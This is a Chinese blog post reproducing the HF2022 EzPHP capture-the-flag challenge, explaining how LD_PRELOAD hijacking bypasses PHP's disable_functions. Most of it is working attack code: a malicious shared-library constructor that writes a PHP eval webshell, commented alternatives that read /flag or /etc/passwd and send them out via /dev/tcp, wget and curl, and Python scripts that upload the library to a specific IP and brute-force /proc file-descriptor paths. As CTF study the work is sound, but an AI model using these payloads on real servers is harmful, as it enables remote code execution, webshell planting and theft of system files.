当前位置:网站首页>HF2022-EzPHP复现
HF2022-EzPHP复现
2022-07-30 22:46:00 【[email protected]】
1、前置知识
1.1 LOAD_PRELOAD用法
- 程序的链接
- 静态链接(程序编译的时候将链接的库加载进去)
- 动态链接 可以分为装入时动态链接和运行时动态链接,前者的场景是程序装载进入内存的时候进行链接,而后者的场景是程序在运行过程中需要什么库时链接什么库
LOAD_PRELOAD
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为
LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/li
由于程序是运行时动态加载链接的库,如果让程序加载一个恶意的文件,那么就可以劫持程序的运行,从而可以绕过disable_function,执行命令
1.2 恶意.so文件的构造
evil.c
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
/* 1、写一个shell文件 system("echo \"<?php eval(\\$_REQUEST[cmd]);?>\" > /var/www/html/shell.php"); 注意$前面需要一个转义符,否则在命令行下会被识别成变量标识符 2、读取flag system("cat /flag > /var/www/html/flag"); 3、反弹shell或者curl、wget外带 system("bash -c 'cat /flag' > /dev/tcp/vps/port"); wget --post-file=/etc/passwd addr curl -F [email protected]/etc/passwd addr */
生成.so文件命令
gcc -shared -fPIC 1.c -o 1.so
构造更大的二进制文件,通过在一个so文件尾部追加脏字符
var=`dd if=/dev/zero bs=1c count=500000 | tr '\0' 'c'`
echo $var >> 1.so #需要echo一下,直接$var>>1.so会卡死
nginx -t #可以看niginx的配置文件位置
2、上传so文件,进行load_preload劫持
gen_tmp.py
from threading import Thread
import requests
import socket
import time
port = 28135
host = "1.14.71.254"
def do_so():
data = open("1.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{
host}:{
port}\r\nContent-Length:{
len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py
import requests
from threading import Thread
port = 28135
host = "1.14.71.254"
def ldload(pid, fd):
sopath = f"/proc/{
pid}/fd/{
fd}"
print(sopath)
r = requests.get(f"http://{
host}:{
port}/index.php", params={
"env":f"LD_PRELOAD={
sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Little_jcak/article/details/126016728
边栏推荐
- MySQL 5.7 detailed download, installation and configuration tutorial
- Day016 Classes and Objects
- 代码越写越乱?那是因为你没用责任链
- Go1.18升级功能 - 泛型 从零开始Go语言
- Alibaba Cloud video on demand + project combat
- mysql获取当前时间
- Apache Doris系列之:安装与部署详细步骤
- 科技的成就(三十一)
- Rust编译报错:error: linker `cc` not found
- Go语学习笔记 - gorm使用 - 表增删改查 Web框架Gin(八)
猜你喜欢

Navicat cannot connect to mysql super detailed processing method

Detailed operator

WSL安装图形界面并通过xrdp/X-Launch访问

win10重建索引

The most complete Redis basic + advanced project combat summary notes in history

Py's pdpbox: a detailed introduction to pdpbox, installation, and case application

go版本升级

可视化工具Netron介绍

ThinkPHP高仿蓝奏云网盘系统源码/对接易支付系统程序

Ningbo Zhongning Pawn will transfer 29.5% of the equity for 2.8338 million yuan, and the owner's equity in 2021 will be 9.6875 million yuan
随机推荐
grub learning
详解操作符
tcp协议传输中的粘包问题
解决一个Mysql的utf8编码导致的问题
The problem of sticky packets in tcp protocol transmission
d违反常了吗
MySQL 5.7详细下载安装配置教程
Go语学习笔记 - gorm使用 - 表增删改查 Web框架Gin(八)
Jetson AGX Orin 平台关于c240000 I2C总线和GMSL ses地址冲突问题
mysql跨库关联查询(dblink)
Learning about XML (1)
Go语学习笔记 - gorm使用 - 事务操作 Web框架Gin(十一)
Installation and use of cnpm
cnpm安装步骤
matlab标量场作图
IJCAI2022 Tutorial | Spoken Language Comprehension: Recent Advances and New Fields
The most complete Redis basic + advanced project combat summary notes in history
反转链表-就地逆置法
【2022-05-31】JS逆向之易企秀
Go1.18升级功能 - 模糊测试Fuzz 从零开始Go语言